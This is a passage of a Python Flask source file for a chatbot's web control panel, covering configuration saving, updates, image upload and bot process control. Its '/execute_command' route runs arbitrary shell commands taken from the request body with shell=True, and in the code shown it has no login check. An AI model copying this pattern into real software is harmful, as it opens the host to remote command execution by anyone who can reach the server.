"value": [ { "id": item.id, "groupName": item.group_name, "avatar": item.avatar, "triggers": item.triggers, "enableAtTrigger": item.enable_at_trigger } for item in config.user.group_chat_config ], "description": "群聊配置列表(为不同群聊配置专用人设和触发词)", }, "DEEPSEEK_BASE_URL": { "value": config.llm.base_url, "description": "API注册地址", }, "MODEL": {"value": config.llm.model, "description": "AI模型选择"}, "DEEPSEEK_API_KEY": { "value": config.llm.api_key, "description": "API密钥", }, "MAX_TOKEN": { "value": config.llm.max_tokens, "description": "回复最大token数", "type": "number", }, "TEMPERATURE": { "value": float(config.llm.temperature), # 确保是浮点数 "type": "number", "description": "温度参数", "min": 0.0, "max": 1.7, }, "AUTO_MODEL_SWITCH": { "value": config.llm.auto_model_switch, "type": "boolean", "description": "自动切换模型" }, } ) # TTS 服务配置 config_groups["TTS 服务配置"].update( { "TTS_API_KEY":{ "value":config.media.text_to_speech.tts_api_key, "description": "Fish Audio API 密钥" }, "TTS_MODEL_ID":{ "value":config.media.text_to_speech.tts_model_id, "description": "进行 TTS 的模型 ID" } } ) # 图像识别API配置 config_groups["图像识别API配置"].update( { "VISION_BASE_URL": { "value": config.media.image_recognition.base_url, "description": "服务地址", "has_provider_options": True }, "VISION_API_KEY": { "value": config.media.image_recognition.api_key, "description": "API密钥", "is_secret": False }, "VISION_MODEL": { "value": config.media.image_recognition.model, "description": "模型名称", "has_model_options": True }, "VISION_TEMPERATURE": { "value": float(config.media.image_recognition.temperature), "description": "温度参数", "type": "number", "min": 0.0, "max": 1.0 } } ) # 意图识别API配置 config_groups["意图识别API配置"].update( { "INTENT_BASE_URL": { "value": config.intent_recognition.base_url, "description": "API注册地址", "has_provider_options": True }, "INTENT_API_KEY": { "value": config.intent_recognition.api_key, "description": "API密钥", "is_secret": False }, "INTENT_MODEL": { "value": config.intent_recognition.model, "description": "AI模型选择", "has_model_options": True }, "INTENT_TEMPERATURE": { "value": float(config.intent_recognition.temperature), "description": "温度参数", "type": "number", "min": 0.0, "max": 1.0 } } ) # 主动消息配置 config_groups["主动消息配置"].update( { "AUTO_MESSAGE": { "value": config.behavior.auto_message.content, "description": "自动消息内容", }, "MIN_COUNTDOWN_HOURS": { "value": config.behavior.auto_message.min_hours, "description": "最小倒计时时间(小时)", }, "MAX_COUNTDOWN_HOURS": { "value": config.behavior.auto_message.max_hours, "description": "最大倒计时时间(小时)", }, "QUIET_TIME_START": { "value": config.behavior.quiet_time.start, "description": "安静时间开始", }, "QUIET_TIME_END": { "value": config.behavior.quiet_time.end, "description": "安静时间结束", }, } ) # 消息配置 config_groups["消息配置"].update( { "QUEUE_TIMEOUT": { "value": config.behavior.message_queue.timeout, "description": "消息队列等待时间(秒)", "type": "number", "min": 8, "max": 20 } } ) # 人设配置 available_avatars = get_available_avatars() config_groups["人设配置"].update( { "MAX_GROUPS": { "value": config.behavior.context.max_groups, "description": "最大的上下文轮数", }, "AVATAR_DIR": { "value": config.behavior.context.avatar_dir, "description": "人设目录(自动包含 avatar.md 和 emojis 目录)", "options": available_avatars, "type": "select" } } ) # 网络搜索配置 config_groups["网络搜索配置"].update( { "NETWORK_SEARCH_ENABLED": { "value": config.network_search.search_enabled, "type": "boolean", "description": "启用网络搜索功能(仅支持Kouri API)", }, "WEBLENS_ENABLED": { "value": config.network_search.weblens_enabled, "type": "boolean", "description": "启用网页内容提取功能(仅支持Kouri API)", }, "NETWORK_SEARCH_API_KEY": { "value": config.network_search.api_key, "type": "string", "description": "Kouri API 密钥(留空则使用 LLM 设置中的 API 密钥)", "is_secret": True } # "NETWORK_SEARCH_BASE_URL": { # "value": config.network_search.base_url, # "type": "string", # "description": "网络搜索 API 基础 URL(留空则使用 LLM 设置中的 URL)", # } } ) # 世界书配置 worldview = "" try: worldview_file_path = os.path.join(ROOT_DIR, 'src/base/worldview.md') with open(worldview_file_path, 'r', encoding='utf-8') as f: worldview = f.read() except Exception as e: logger.error(f"读取世界观失败: {str(e)}") config_groups['世界书'] = { 'worldview': { 'value': worldview, 'type': 'text', 'description': '内容' } } # 直接从配置文件读取定时任务数据 tasks = [] try: config_path = os.path.join(ROOT_DIR, 'data/config/config.json') with open(config_path, 'r', encoding='utf-8') as f: config_data = json.load(f) if 'categories' in config_data and 'schedule_settings' in config_data['categories']: if 'settings' in config_data['categories']['schedule_settings'] and 'tasks' in config_data['categories']['schedule_settings']['settings']: tasks = config_data['categories']['schedule_settings']['settings']['tasks'].get('value', []) except Exception as e: logger.error(f"读取任务数据失败: {str(e)}") # 将定时任务配置添加到 config_groups 中 config_groups['定时任务配置'] = { 'tasks': { 'value': tasks, 'type': 'array', 'description': '定时任务列表' } } logger.debug(f"解析后的定时任务配置: {tasks}") return config_groups except Exception as e: logger.error(f"解析配置组失败: {str(e)}") return {} @app.route('/') def index(): """重定向到控制台""" return redirect(url_for('dashboard')) def load_config_file(): """从配置文件加载配置数据""" try: with open(config_path, 'r', encoding='utf-8') as f: return json.load(f) except Exception as e: logger.error(f"加载配置失败: {str(e)}") return {"categories": {}} def save_config_file(config_data): """保存配置数据到配置文件""" try: with open(config_path, 'w', encoding='utf-8') as f: json.dump(config_data, f, ensure_ascii=False, indent=4) return True except Exception as e: logger.error(f"保存配置失败: {str(e)}") return False def reinitialize_tasks(): """重新初始化定时任务""" try: # 直接修改配置文件,不需要重新初始化任务 # 因为任务会在主程序启动时自动加载 logger.info("配置已更新,任务将在主程序下次启动时生效") return True except Exception as e: logger.error(f"更新任务配置失败: {str(e)}") return False @app.route('/save', methods=['POST']) def save_config(): """保存配置""" try: # 检查Content-Type if not request.is_json: return jsonify({ "status": "error", "message": "请求Content-Type必须是application/json", "title": "错误" }), 415 # 获取JSON数据 config_data = request.get_json() if not config_data: return jsonify({ "status": "error", "message": "无效的JSON数据", "title": "错误" }), 400 # 读取当前配置 current_config = load_config_file() # 处理配置更新 for key, value in config_data.items(): # 处理任务配置 if key == 'TASKS': try: tasks = value if isinstance(value, list) else (json.loads(value) if isinstance(value, str) else []) # 确保schedule_settings结构存在 if 'categories' not in current_config: current_config['categories'] = {} if 'schedule_settings' not in current_config['categories']: current_config['categories']['schedule_settings'] = { 'title': '定时任务配置', 'settings': {} } if 'settings' not in current_config['categories']['schedule_settings']: current_config['categories']['schedule_settings']['settings'] = {} if 'tasks' not in current_config['categories']['schedule_settings']['settings']: current_config['categories']['schedule_settings']['settings']['tasks'] = { 'value': [], 'type': 'array', 'description': '定时任务列表' } # 更新任务列表 current_config['categories']['schedule_settings']['settings']['tasks']['value'] = tasks except Exception as e: logger.error(f"处理定时任务配置失败: {str(e)}") return jsonify({ "status": "error", "message": f"处理定时任务配置失败: {str(e)}", "title": "错误" }), 400 # 处理其他配置项 elif key in ['LISTEN_LIST', 'GROUP_CHAT_CONFIG', 'DEEPSEEK_BASE_URL', 'MODEL', 'DEEPSEEK_API_KEY', 'MAX_TOKEN', 'TEMPERATURE','AUTO_MODEL_SWITCH', 'VISION_API_KEY', 'VISION_BASE_URL', 'VISION_TEMPERATURE', 'VISION_MODEL', 'INTENT_API_KEY', 'INTENT_BASE_URL', 'INTENT_MODEL', 'INTENT_TEMPERATURE', 'IMAGE_MODEL', 'TEMP_IMAGE_DIR', 'AUTO_MESSAGE', 'MIN_COUNTDOWN_HOURS', 'MAX_COUNTDOWN_HOURS', 'QUIET_TIME_START', 'QUIET_TIME_END', 'TTS_API_URL', 'VOICE_DIR', 'MAX_GROUPS', 'AVATAR_DIR', 'QUEUE_TIMEOUT', 'NETWORK_SEARCH_ENABLED', 'WEBLENS_ENABLED', 'NETWORK_SEARCH_API_KEY', 'NETWORK_SEARCH_BASE_URL', 'TTS_API_KEY', 'TTS_MODEL_ID']: update_config_value(current_config, key, value) elif key == 'WORLDVIEW': worldview_file_path = os.path.join(ROOT_DIR, 'src/base/worldview.md') try: with open(worldview_file_path, 'w', encoding='utf-8') as f: f.write(value) except Exception as e: logger.error(f"保存世界观配置失败: {str(e)}") else: logger.warning(f"未知的配置项: {key}") # 保存配置 if not save_config_file(current_config): return jsonify({ "status": "error", "message": "保存配置文件失败", "title": "错误" }), 500 # 立即重新加载配置 g.config_data = current_config return jsonify({ "status": "success", "message": "✨ 配置已成功保存并生效", "title": "保存成功" }) except Exception as e: logger.error(f"保存配置失败: {str(e)}") return jsonify({ "status": "error", "message": f"保存失败: {str(e)}", "title": "错误" }), 500 def update_config_value(config_data, key, value): """更新配置值到正确的位置""" try: # 配置项映射表 - 修正路径以匹配实际配置结构 mapping = { 'LISTEN_LIST': ['categories', 'user_settings', 'settings', 'listen_list', 'value'], 'GROUP_CHAT_CONFIG': ['categories', 'user_settings', 'settings', 'group_chat_config', 'value'], 'DEEPSEEK_BASE_URL': ['categories', 'llm_settings', 'settings', 'base_url', 'value'], 'MODEL': ['categories', 'llm_settings', 'settings', 'model', 'value'], 'DEEPSEEK_API_KEY': ['categories', 'llm_settings', 'settings', 'api_key', 'value'], 'MAX_TOKEN': ['categories', 'llm_settings', 'settings', 'max_tokens', 'value'], 'TEMPERATURE': ['categories', 'llm_settings', 'settings', 'temperature', 'value'], 'AUTO_MODEL_SWITCH': ['categories', 'llm_settings', 'settings', 'auto_model_switch', 'value'], 'VISION_API_KEY': ['categories', 'media_settings', 'settings', 'image_recognition', 'api_key', 'value'], 'NETWORK_SEARCH_ENABLED': ['categories', 'network_search_settings', 'settings', 'search_enabled', 'value'], 'WEBLENS_ENABLED': ['categories', 'network_search_settings', 'settings', 'weblens_enabled', 'value'], 'NETWORK_SEARCH_API_KEY': ['categories', 'network_search_settings', 'settings', 'api_key', 'value'], 'NETWORK_SEARCH_BASE_URL': ['categories', 'network_search_settings', 'settings', 'base_url', 'value'], 'TTS_API_KEY': ['categories', 'media_settings', 'settings', 'text_to_speech', 'tts_api_key', 'value'], 'TTS_MODEL_ID': ['categories', 'media_settings', 'settings', 'text_to_speech', 'tts_model_id', 'value'], 'VISION_BASE_URL': ['categories', 'media_settings', 'settings', 'image_recognition', 'base_url', 'value'], 'VISION_TEMPERATURE': ['categories', 'media_settings', 'settings', 'image_recognition', 'temperature', 'value'], 'VISION_MODEL': ['categories', 'media_settings', 'settings', 'image_recognition', 'model', 'value'], 'INTENT_API_KEY': ['categories', 'intent_recognition_settings', 'settings', 'api_key', 'value'], 'INTENT_BASE_URL': ['categories', 'intent_recognition_settings', 'settings', 'base_url', 'value'], 'INTENT_MODEL': ['categories', 'intent_recognition_settings', 'settings', 'model', 'value'], 'INTENT_TEMPERATURE': ['categories', 'intent_recognition_settings', 'settings', 'temperature', 'value'], 'IMAGE_MODEL': ['categories', 'media_settings', 'settings', 'image_generation', 'model', 'value'], 'TEMP_IMAGE_DIR': ['categories', 'media_settings', 'settings', 'image_generation', 'temp_dir', 'value'], 'TTS_API_URL': ['categories', 'media_settings', 'settings', 'text_to_speech', 'tts_api_url', 'value'], 'VOICE_DIR': ['categories', 'media_settings', 'settings', 'text_to_speech', 'voice_dir', 'value'], 'AUTO_MESSAGE': ['categories', 'behavior_settings', 'settings', 'auto_message', 'content', 'value'], 'MIN_COUNTDOWN_HOURS': ['categories', 'behavior_settings', 'settings', 'auto_message', 'countdown', 'min_hours', 'value'], 'MAX_COUNTDOWN_HOURS': ['categories', 'behavior_settings', 'settings', 'auto_message', 'countdown', 'max_hours', 'value'], 'QUIET_TIME_START': ['categories', 'behavior_settings', 'settings', 'quiet_time', 'start', 'value'], 'QUIET_TIME_END': ['categories', 'behavior_settings', 'settings', 'quiet_time', 'end', 'value'], 'QUEUE_TIMEOUT': ['categories', 'behavior_settings', 'settings', 'message_queue', 'timeout', 'value'], 'MAX_GROUPS': ['categories', 'behavior_settings', 'settings', 'context', 'max_groups', 'value'], 'AVATAR_DIR': ['categories', 'behavior_settings', 'settings', 'context', 'avatar_dir', 'value'], } if key in mapping: path = mapping[key] current = config_data # 特殊处理 LISTEN_LIST,确保它始终是列表类型 if key == 'LISTEN_LIST' and isinstance(value, str): value = value.split(',') value = [item.strip() for item in value if item.strip()] # 特殊处理 GROUP_CHAT_CONFIG,确保它是正确的列表格式 elif key == 'GROUP_CHAT_CONFIG': if isinstance(value, str): try: value = json.loads(value) except: value = [] elif not isinstance(value, list): value = [] # 特殊处理API相关配置 if key in ['DEEPSEEK_BASE_URL', 'MODEL', 'DEEPSEEK_API_KEY', 'MAX_TOKEN', 'TEMPERATURE', 'AUTO_MODEL_SWITCH']: # 确保llm_settings结构存在 if 'categories' not in current: current['categories'] = {} if 'llm_settings' not in current['categories']: current['categories']['llm_settings'] = {'title': '大语言模型配置', 'settings': {}} if 'settings' not in current['categories']['llm_settings']: current['categories']['llm_settings']['settings'] = {} # 更新对应的配置项 if key == 'DEEPSEEK_BASE_URL': current['categories']['llm_settings']['settings']['base_url'] = {'value': value} elif key == 'MODEL': current['categories']['llm_settings']['settings']['model'] = {'value': value} elif key == 'DEEPSEEK_API_KEY': current['categories']['llm_settings']['settings']['api_key'] = {'value': value} elif key == 'MAX_TOKEN': current['categories']['llm_settings']['settings']['max_tokens'] = {'value': value} elif key == 'TEMPERATURE': current['categories']['llm_settings']['settings']['temperature'] = {'value': value} elif key == 'AUTO_MODEL_SWITCH': current['categories']['llm_settings']['settings']['auto_model_switch'] = {'value': True if value == 'on' else False, 'type': 'boolean'} return # 特殊处理网络搜索相关配置 elif key in ['NETWORK_SEARCH_ENABLED', 'WEBLENS_ENABLED', 'NETWORK_SEARCH_API_KEY', 'NETWORK_SEARCH_BASE_URL']: # 确保network_search_settings结构存在 if 'categories' not in current: current['categories'] = {} if 'network_search_settings' not in current['categories']: current['categories']['network_search_settings'] = {'title': '网络搜索设置', 'settings': {}} if 'settings' not in current['categories']['network_search_settings']: current['categories']['network_search_settings']['settings'] = {} # 更新对应的配置项 if key == 'NETWORK_SEARCH_ENABLED': current['categories']['network_search_settings']['settings']['search_enabled'] = {'value': value, 'type': 'boolean'} elif key == 'WEBLENS_ENABLED': current['categories']['network_search_settings']['settings']['weblens_enabled'] = {'value': value, 'type': 'boolean'} elif key == 'NETWORK_SEARCH_API_KEY': current['categories']['network_search_settings']['settings']['api_key'] = {'value': value} elif key == 'NETWORK_SEARCH_BASE_URL': current['categories']['network_search_settings']['settings']['base_url'] = {'value': value} return # 特殊处理意图识别相关配置 elif key in ['INTENT_API_KEY', 'INTENT_BASE_URL', 'INTENT_MODEL', 'INTENT_TEMPERATURE']: # 确保intent_recognition_settings结构存在 if 'categories' not in current: current['categories'] = {} if 'intent_recognition_settings' not in current['categories']: current['categories']['intent_recognition_settings'] = {'title': '意图识别配置', 'settings': {}} if 'settings' not in current['categories']['intent_recognition_settings']: current['categories']['intent_recognition_settings']['settings'] = {} # 更新对应的配置项 if key == 'INTENT_API_KEY': current['categories']['intent_recognition_settings']['settings']['api_key'] = {'value': value, 'type': 'string', 'is_secret': True} elif key == 'INTENT_BASE_URL': current['categories']['intent_recognition_settings']['settings']['base_url'] = {'value': value, 'type': 'string'} elif key == 'INTENT_MODEL': current['categories']['intent_recognition_settings']['settings']['model'] = {'value': value, 'type': 'string'} elif key == 'INTENT_TEMPERATURE': current['categories']['intent_recognition_settings']['settings']['temperature'] = {'value': float(value), 'type': 'number', 'min': 0.0, 'max': 1.0} return # 遍历路径直到倒数第二个元素 for part in path[:-1]: if part not in current: current[part] = {} current = current[part] # 设置最终值,确保类型正确 if isinstance(value, str) and key in ['MAX_TOKEN', 'TEMPERATURE', 'VISION_TEMPERATURE', 'MIN_COUNTDOWN_HOURS', 'MAX_COUNTDOWN_HOURS', 'MAX_GROUPS', 'QUEUE_TIMEOUT']: try: # 尝试转换为数字 value = float(value) # 对于整数类型配置,转为整数 if key in ['MAX_TOKEN', 'MAX_GROUPS', 'QUEUE_TIMEOUT']: value = int(value) except ValueError: pass # 处理布尔类型 elif key in ['NETWORK_SEARCH_ENABLED', 'WEBLENS_ENABLED']: # 将字符串 'true'/'false' 转换为布尔值 if isinstance(value, str): value = value.lower() == 'true' # 确保值是布尔类型 value = bool(value) current[path[-1]] = value else: logger.warning(f"未知的配置项: {key}") except Exception as e: logger.error(f"更新配置值失败 {key}: {str(e)}") # 添加上传处理路由 @app.route('/upload_background', methods=['POST']) def upload_background(): if 'background' not in request.files: return jsonify({"status": "error", "message": "没有选择文件"}) file = request.files['background'] if file.filename == '': return jsonify({"status": "error", "message": "没有选择文件"}) # 确保 filename 不为 None if file.filename is None: return jsonify({"status": "error", "message": "文件名无效"}) filename = secure_filename(file.filename) # 清理旧的背景图片 for old_file in os.listdir(app.config['UPLOAD_FOLDER']): os.remove(os.path.join(app.config['UPLOAD_FOLDER'], old_file)) # 保存新图片 file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return jsonify({ "status": "success", "message": "背景图片已更新", "path": f"/background_image/{filename}" }) # 添加背景图片目录的路由 @app.route('/background_image/<filename>') def background_image(filename): return send_from_directory(app.config['UPLOAD_FOLDER'], filename) # 添加获取背景图片路由 @app.route('/get_background') def get_background(): """获取当前背景图片""" try: # 获取背景图片目录中的第一个文件 files = os.listdir(app.config['UPLOAD_FOLDER']) if files: # 返回找到的第一个图片 return jsonify({ "status": "success", "path": f"/background_image/{files[0]}" }) return jsonify({ "status": "success", "path": None }) except Exception as e: return jsonify({ "status": "error", "message": str(e) }) @app.before_request def load_config(): """在每次请求之前加载配置""" try: g.config_data = load_config_file() except Exception as e: logger.error(f"加载配置失败: {str(e)}") @app.route('/dashboard') def dashboard(): if not session.get('logged_in'): return redirect(url_for('login')) # 检查是否有未读公告用于Web页面显示 show_announcement = False try: from src.autoupdate.announcement import has_unread_announcement show_announcement = has_unread_announcement() logger.info(f"Dashboard: 检测到未读公告状态 = {show_announcement}") except Exception as e: logger.warning(f"检查公告状态失败: {e}") # 使用 g 中的配置数据 (如果之前有) config_groups = g.config_data.get('categories', {}) return render_template( 'dashboard.html', is_local=is_local_network(), active_page='dashboard', config_groups=config_groups, show_announcement=show_announcement # 恢复Web页面公告显示 ) @app.route('/system_info') def system_info(): """获取系统信息""" try: # 创建静态变量存储上次的值 if not hasattr(system_info, 'last_bytes'): system_info.last_bytes = { 'sent': 0, 'recv': 0, 'time': time.time() } cpu_percent = psutil.cpu_percent() memory = psutil.virtual_memory() disk = psutil.disk_usage('/') net = psutil.net_io_counters() # 计算网络速度 current_time = time.time() time_delta = current_time - system_info.last_bytes['time'] # 计算每秒的字节数 upload_speed = (net.bytes_sent - system_info.last_bytes['sent']) / time_delta download_speed = (net.bytes_recv - system_info.last_bytes['recv']) / time_delta # 更新上次的值 system_info.last_bytes = { 'sent': net.bytes_sent, 'recv': net.bytes_recv, 'time': current_time } # 转换为 KB/s upload_speed = upload_speed / 1024 download_speed = download_speed / 1024 return jsonify({ 'cpu': cpu_percent, 'memory': { 'total': round(memory.total / (1024**3), 2), 'used': round(memory.used / (1024**3), 2), 'percent': memory.percent }, 'disk': { 'total': round(disk.total / (1024**3), 2), 'used': round(disk.used / (1024**3), 2), 'percent': disk.percent }, 'network': { 'upload': round(upload_speed, 2), 'download': round(download_speed, 2) } }) except Exception as e: logger.error(f"获取系统信息失败: {str(e)}") return jsonify({ 'status': 'error', 'message': str(e) }), 500 @app.route('/check_update') def check_update(): """检查更新""" try: # 使用已导入的 Updater 类 updater = Updater() result = updater.check_for_updates() return jsonify({ 'status': 'success', 'has_update': result.get('has_update', False), 'console_output': result['output'], 'update_info': result if result.get('has_update') else None, 'wait_input': False # 不再需要控制台输入确认 }) except Exception as e: logger.error(f"检查更新失败: {str(e)}", exc_info=True) return jsonify({ 'status': 'error', 'has_update': False, 'console_output': f'检查更新失败: {str(e)}' }) @app.route('/confirm_update', methods=['POST']) def confirm_update(): """确认是否更新""" try: choice = (request.json or {}).get('choice', '').lower() logger.info(f"收到用户更新选择: {choice}") if choice in ('y', 'yes', '是', '确认', '确定'): logger.info("用户确认更新,开始执行更新过程") updater = Updater() result = updater.update( callback=lambda msg: logger.info(f"更新进度: {msg}") ) logger.info(f"更新完成,结果: {result['success']}") return jsonify({ 'status': 'success' if result['success'] else 'error', 'console_output': result.get('message', '更新过程出现未知错误') }) else: logger.info("用户取消更新") return jsonify({ 'status': 'success', 'console_output': '用户取消更新' }) except Exception as e: logger.error(f"更新失败: {str(e)}", exc_info=True) return jsonify({ 'status': 'error', 'console_output': f'更新失败: {str(e)}' }) # 全局变量存储更新进度 update_progress_logs = [] update_in_progress = False @app.route('/execute_update', methods=['POST']) def execute_update(): """直接执行更新,不需要控制台确认""" global update_progress_logs, update_in_progress if update_in_progress: return jsonify({ 'status': 'error', 'message': '更新正在进行中,请稍候...' }) try: update_in_progress = True update_progress_logs = [] def progress_callback(msg): """更新进度回调函数""" logger.info(f"更新进度: {msg}") update_progress_logs.append({ 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), 'message': msg }) logger.info("用户通过Web界面直接确认更新,开始执行更新过程") progress_callback("Starting update process...") updater = Updater() result = updater.update(callback=progress_callback) logger.info(f"更新完成,结果: {result['success']}") final_message = result.get('message', '更新过程出现未知错误') progress_callback(f"Update completed: {final_message}") return jsonify({ 'status': 'success' if result['success'] else 'error', 'message': final_message, 'restart_required': result.get('restart_required', False) }) except Exception as e: error_msg = f'更新失败: {str(e)}' logger.error(error_msg, exc_info=True) update_progress_logs.append({ 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), 'message': error_msg }) return jsonify({ 'status': 'error', 'message': error_msg }) finally: update_in_progress = False @app.route('/update_progress') def get_update_progress(): """获取更新进度日志""" global update_progress_logs return jsonify({ 'logs': update_progress_logs, 'in_progress': update_in_progress }) def start_bot_process(): """启动机器人进程,返回(成功状态, 消息)""" global bot_process, bot_start_time, job_object try: if bot_process and bot_process.poll() is None: return False, "机器人已在运行中" # 清空之前的日志 clear_bot_logs() # 设置环境变量 env = os.environ.copy() env['PYTHONIOENCODING'] = 'utf-8' # 创建新的进程组 if sys.platform.startswith('win'): CREATE_NEW_PROCESS_GROUP = 0x00000200 DETACHED_PROCESS = 0x00000008 creationflags = CREATE_NEW_PROCESS_GROUP preexec_fn = None else: creationflags = 0 preexec_fn = getattr(os, 'setsid', None) # 启动进程 bot_process = subprocess.Popen( [sys.executable, 'run.py'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1, env=env, encoding='utf-8', errors='replace', creationflags=creationflags if sys.platform.startswith('win') else 0, preexec_fn=preexec_fn ) # 将机器人进程添加到作业对象 if sys.platform.startswith('win') and job_object: try: win32job.AssignProcessToJobObject(job_object, bot_process._handle) logger.info(f"已将机器人进程 (PID: {bot_process.pid}) 添加到作业对象") except Exception as e: logger.error(f"将机器人进程添加到作业对象失败: {str(e)}") # 记录启动时间 bot_start_time = datetime.datetime.now() # 启动日志读取线程 start_log_reading_thread() return True, "机器人启动成功" except Exception as e: logger.error(f"启动机器人失败: {str(e)}") return False, str(e) def start_log_reading_thread(): """启动日志读取线程""" def read_output(): try: while bot_process and bot_process.poll() is None: if bot_process.stdout: line = bot_process.stdout.readline() if line: try: # 尝试解码并清理日志内容 line = line.strip() if isinstance(line, bytes): line = line.decode('utf-8', errors='replace') timestamp = datetime.datetime.now().strftime('%H:%M:%S') bot_logs.put(f"[{timestamp}] {line}") except Exception as e: logger.error(f"日志处理错误: {str(e)}") continue except Exception as e: logger.error(f"读取日志失败: {str(e)}") bot_logs.put(f"[ERROR] 读取日志失败: {str(e)}") thread = threading.Thread(target=read_output, daemon=True) thread.start() def get_bot_uptime(): """获取机器人运行时间""" if not bot_start_time or not bot_process or bot_process.poll() is not None: return "0分钟" delta = datetime.datetime.now() - bot_start_time total_seconds = int(delta.total_seconds()) hours = total_seconds // 3600 minutes = (total_seconds % 3600) // 60 seconds = total_seconds % 60 if hours > 0: return f"{hours}小时{minutes}分钟{seconds}秒" elif minutes > 0: return f"{minutes}分钟{seconds}秒" else: return f"{seconds}秒" @app.route('/start_bot') def start_bot(): """启动机器人""" success, message = start_bot_process() return jsonify({ 'status': 'success' if success else 'error', 'message': message }) @app.route('/get_bot_logs') def get_bot_logs(): """获取机器人日志""" logs = [] while not bot_logs.empty(): logs.append(bot_logs.get()) return jsonify({ 'status': 'success', 'logs': logs, 'uptime': get_bot_uptime(), 'is_running': bot_process is not None and bot_process.poll() is None }) def terminate_bot_process(force=False): """终止机器人进程的通用函数""" global bot_process, bot_start_time if not bot_process or bot_process.poll() is not None: return False, "机器人未在运行" try: # 首先尝试正常终止进程 bot_process.terminate() # 等待进程结束 try: bot_process.wait(timeout=5) # 等待最多5秒 except subprocess.TimeoutExpired: # 如果超时或需要强制终止,强制结束进程 if force: bot_process.kill() bot_process.wait() # 确保所有子进程都被终止 if sys.platform.startswith('win'): subprocess.run(['taskkill', '/F', '/T', '/PID', str(bot_process.pid)], capture_output=True) else: # 使用 getattr 避免在 Windows 上直接引用不存在的属性 killpg = getattr(os, 'killpg', None) getpgid = getattr(os, 'getpgid', None) if killpg and getpgid: import signal killpg(getpgid(bot_process.pid), signal.SIGTERM) else: bot_process.kill() # 清理进程对象 bot_process = None bot_start_time = None # 添加日志记录 timestamp = datetime.datetime.now().strftime('%H:%M:%S') bot_logs.put(f"[{timestamp}] 正在关闭监听线程...") bot_logs.put(f"[{timestamp}] 正在关闭系统...") bot_logs.put(f"[{timestamp}] 系统已退出") return True, "机器人已停止" except Exception as e: logger.error(f"停止机器人失败: {str(e)}") return False, f"停止失败: {str(e)}" def clear_bot_logs(): """清空机器人日志队列""" while not bot_logs.empty(): bot_logs.get() @app.route('/stop_bot') def stop_bot(): """停止机器人""" success, message = terminate_bot_process(force=True) return jsonify({ 'status': 'success' if success else 'error', 'message': message }) @app.route('/config') def config(): """配置页面""" if not session.get('logged_in'): return redirect(url_for('login')) # 直接从配置文件读取任务数据 tasks = [] try: config_path = os.path.join(ROOT_DIR, 'data/config/config.json') with open(config_path, 'r', encoding='utf-8') as f: config_data = json.load(f) if 'categories' in config_data and 'schedule_settings' in config_data['categories']: if 'settings' in config_data['categories']['schedule_settings'] and 'tasks' in config_data['categories']['schedule_settings']['settings']: tasks = config_data['categories']['schedule_settings']['settings']['tasks'].get('value', []) except Exception as e: logger.error(f"读取任务数据失败: {str(e)}") config_groups = parse_config_groups() # 获取配置组 logger.debug(f"传递给前端的任务列表: {tasks}") return render_template( 'config.html', config_groups=config_groups, # 传递配置组 tasks_json=json.dumps(tasks, ensure_ascii=False), # 直接传递任务列表JSON is_local=is_local_network(), active_page='config' ) # 联网搜索配置已整合到高级配置页面 # 在 app 初始化后添加 @app.route('/static/<path:filename>') def serve_static(filename): """提供静态文件服务""" static_folder = app.static_folder if static_folder is None: static_folder = os.path.join(ROOT_DIR, 'src/webui/static') return send_from_directory(static_folder, filename) @app.route('/execute_command', methods=['POST']) def execute_command(): """执行控制台命令""" try: command = (request.json or {}).get('command', '').strip() # 处理内置命令 if command.lower() == 'help': return jsonify({ 'status': 'success', 'output': '''可用命令: help - 显示帮助信息 clear - 清空日志 status - 显示系统状态 version - 显示版本信息 memory - 显示内存使用情况 start - 启动机器人 stop - 停止机器人 restart - 重启机器人 check update - 检查更新 execute update - 执行更新 支持所有CMD命令,例如: dir - 显示目录内容 cd - 切换目录 echo - 显示消息 type - 显示文件内容 等...''' }) elif command.lower() == 'clear': # 清空日志队列 clear_bot_logs() return jsonify({ 'status': 'success', 'output': '', # 返回空输出,让前端清空日志 'clear': True # 添加标记,告诉前端需要清空日志 }) elif command.lower() == 'status': if bot_process and bot_process.poll() is None: return jsonify({ 'status': 'success', 'output': f'机器人状态: 运行中\n运行时间: {get_bot_uptime()}' }) else: return jsonify({ 'status': 'success', 'output': '机器人状态: 已停止' }) elif command.lower() == 'version': return jsonify({ 'status': 'success', 'output': 'KouriChat v1.3.1' }) elif command.lower() == 'memory': memory = psutil.virtual_memory() return jsonify({ 'status': 'success', 'output': f'内存使用: {memory.percent}% ({memory.used/1024/1024/1024:.1f}GB/{memory.total/1024/1024/1024:.1f}GB)' }) elif command.lower() == 'start': success, message = start_bot_process() return jsonify({ 'status': 'success' if success else 'error', 'output' if success else 'error': message }) elif command.lower() == 'stop': success, message = terminate_bot_process(force=True) return jsonify({ 'status': 'success' if success else 'error', 'output' if success else 'error': message }) elif command.lower() == 'restart': # 先停止 if bot_process and bot_process.poll() is None: success, _ = terminate_bot_process(force=True) if not success: return jsonify({ 'status': 'error', 'error': '重启失败: 无法停止当前进程' }) time.sleep(2) # 等待进程完全停止 # 然后重新启动 success, message = start_bot_process() if success: return jsonify({ 'status': 'success', 'output': '机器人已重启' }) else: return jsonify({ 'status': 'error', 'error': f'重启失败: {message}' }) elif command.lower() == 'check update': # 检查更新 try: updater = Updater() result = updater.check_for_updates() if result.get('has_update', False): output = f"发现新版本: {result.get('cloud_version', 'unknown')}\n" output += f"当前版本: {result.get('local_version', 'unknown')}\n" output += f"更新内容: {result.get('description', '无详细说明')}\n" output += "您可以输入 'execute update' 命令开始更新" else: output = "当前已是最新版本" return jsonify({ 'status': 'success', 'output': output }) except Exception as e: return jsonify({ 'status': 'error', 'error': f'检查更新失败: {str(e)}' }) elif command.lower() == 'execute update': # 执行更新 return jsonify({ 'status': 'success', 'output': '正在启动更新进程,请查看实时更新日志...' }) # 执行CMD命令 else: try: # 使用subprocess执行命令并捕获输出 process = subprocess.Popen( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, encoding='utf-8', errors='replace' ) # 获取命令输出 stdout, stderr = process.communicate(timeout=30) # 如果有错误输出 if stderr: return jsonify({ 'status': 'error', 'error': stderr }) # 返回命令执行结果 return jsonify({ 'status': 'success', 'output': stdout or '命令执行成功,无输出' }) except subprocess.TimeoutExpired: process.kill() return jsonify({ 'status': 'error', 'error': '命令执行超时' }) except Exception as e: return jsonify({ 'status': 'error', 'error': f'执行命令失败: {str(e)}' }) 